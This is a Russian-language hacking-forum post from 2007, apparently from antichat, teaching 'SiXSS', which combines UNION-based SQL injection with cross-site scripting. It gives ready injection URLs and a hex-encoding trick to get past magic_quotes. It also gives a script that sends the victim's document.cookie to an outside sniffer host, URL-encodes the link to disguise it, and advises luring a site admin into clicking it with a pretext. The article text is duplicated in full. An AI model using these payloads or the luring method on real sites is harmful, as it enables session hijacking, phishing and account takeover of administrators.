Basurman
23.07.2007, 12:51
Данная статья расчитана на тех, кто знаком с такими понятиями, как SQL Injection и XSS атака. Без понимания основ, к прочтению не рекомендуется. (SQL injection: http://forum.antichat.ru/thread43966.html XSS: http://forum.antichat.ru/thread44125.html)
1. Введение
Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj.
2. Область применения
Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php
(оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html)
Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание.
Кульминацией в обоих случаях будет являться применение новых технологии фишинга
3. Теория использования (на примере MySQL)
В языке SQL есть комманда union, которая используется для объединения двух запросов.
Например: http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/*
Кроме этого, union select дает возможность вывести в окно браузера произвольный текст. Этим
мы и воспользуемся, написав в строке адреса следующую вещь:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
Готово. Должно выскочить окошко со словом SiXSS.
Однако здесь мы можем столкнуться с двумя проблемами:
а). Включенную функцию magic_quotes, которая обрежет нашу XSS.
Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст:
mysql> select HEX('<script>alert("SiXSS");</script>');
Получим значение: 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E.
Теперь наш запрос будет иметь вид:
http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C65727428225 36958535322293B3C2F7363726970743E,3/*
б). Выключенный javascript (либо вообще, либо плугином к firefox - noscript)
Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета
4. Практика фишинга
Итак, мы с вами нашли и проверили уязвимость, что же дальше?
Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?)
http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/*
Конечно, по такой ссылке он не пойдет. Поэтому приведем ее в божеский вид:
http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%6 5%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720 496D61676528293B696D672E7372633D22687474703A2F2F6F 6C642E616E7469636861742E72752F6367692D62696E2F732E 6A70673F222B646F63756D656E742E636F6F6B69653B3C2F73 63726970743E%2С%33%2F%2A
Дальше методы впаривания ссылок админам расписывать не буду, так как об этом написано много статей с подробными примерами (скрипты-снифферы, поддельные странички и т.д.). Здесь будет работать уже ваша фантазия...
5. Заключение
В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале.
Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов.
1. Введение
Что же такое SiXSS? Это расшифровывается как SQL Injection Cross Site Scripting - комбинация SQL Inj и XSS атаки. Подразумевает под собой выполнение XSS атак через уязвимость скрипта к SQL Inj.
2. Область применения
Применяется этот тип атаки, когда текст из базы данных выводится в HTML страницу. Если мы попытаемся использовать классические или продвинутые SQL инъекции мы сможем получить информацию о SQL сервере и ничего более. Подробно об этом написано здесь: http://www.securitylab.ru/analytics/216380.php
(оно же здесь на античате: http://forum.antichat.ru/thread29763-sixss.html)
Также применяется в тех случаях, когда кроме самой SQL injection, мы не можем ни подобрать имена таблиц (не у всех стоит, например, MySQL >5 с INFORMATION_SCHEMA), ни сделать, например, вывод в файл (masterhost). Здесь мы и заострим наше внимание.
Кульминацией в обоих случаях будет являться применение новых технологии фишинга
3. Теория использования (на примере MySQL)
В языке SQL есть комманда union, которая используется для объединения двух запросов.
Например: http://site.net/test.php?id=-1+union+select+1,DATABASE(),3/*
Кроме этого, union select дает возможность вывести в окно браузера произвольный текст. Этим
мы и воспользуемся, написав в строке адреса следующую вещь:
http://site.net/test.php?id=-1+union+select+1,<script>alert("SiXSS");</script>,3/*
Готово. Должно выскочить окошко со словом SiXSS.
Однако здесь мы можем столкнуться с двумя проблемами:
а). Включенную функцию magic_quotes, которая обрежет нашу XSS.
Обойти ее можно воспользовавшись тем, что MySQL позволяет переводить шестнадцатеричные значения вида 0хAB123456) в текст:
mysql> select HEX('<script>alert("SiXSS");</script>');
Получим значение: 3C7363726970743E616C6572742822536958535322293B3C2F 7363726970743E.
Теперь наш запрос будет иметь вид:
http://site.net/test.php?id=-1+union+select+1,0x3C7363726970743E616C65727428225 36958535322293B3C2F7363726970743E,3/*
б). Выключенный javascript (либо вообще, либо плугином к firefox - noscript)
Что же делать, если отключена работа javascript? И тут мы опять вспоминаем, что union select позволяет вывести в окно браузера ПРОИЗВОЛЬНЫЙ текст. То есть HTML тоже. Другими словами, получается, что подделав HTML страницу со вводом пароля, мы можем отослать любую инфу нашему скрипту, находящемуся где-нибудь на просторах интернета
4. Практика фишинга
Итак, мы с вами нашли и проверили уязвимость, что же дальше?
Просто попытаемся сунуть ссылку админу (например, посмотри пожалуйста, что происходит с сайтом?)
http://site.net/test.php?id=-1+union+select+1,<script>img=new Image();img.src="http://old.antichat.ru/cgi-bin/s.jpg?"+document.cookie;</script>,3/*
Конечно, по такой ссылке он не пойдет. Поэтому приведем ее в божеский вид:
http://site.net/test.php?id=%2D%31%2B%75%6E%69%6F%6E%2B%73%65%6C%6 5%63%74%2B%31%2C0x3C7363726970743E696D673D6E657720 496D61676528293B696D672E7372633D22687474703A2F2F6F 6C642E616E7469636861742E72752F6367692D62696E2F732E 6A70673F222B646F63756D656E742E636F6F6B69653B3C2F73 63726970743E%2С%33%2F%2A
Дальше методы впаривания ссылок админам расписывать не буду, так как об этом написано много статей с подробными примерами (скрипты-снифферы, поддельные странички и т.д.). Здесь будет работать уже ваша фантазия...
5. Заключение
В этой статье я лишь хотел продемонстироровать возможности такого типа атак как SiXSS. Примеры фишинга вы можете найти в статье "... и более продвинутые sql инъекции", ссылку на которую я давал в самом начале.
Также хотелось бы обратить внимание на то, что SQL Injection даже в очень ограниченной среде способна привести к довольно печальным последствиям, если не уделять внимание безопасности своих сайтов.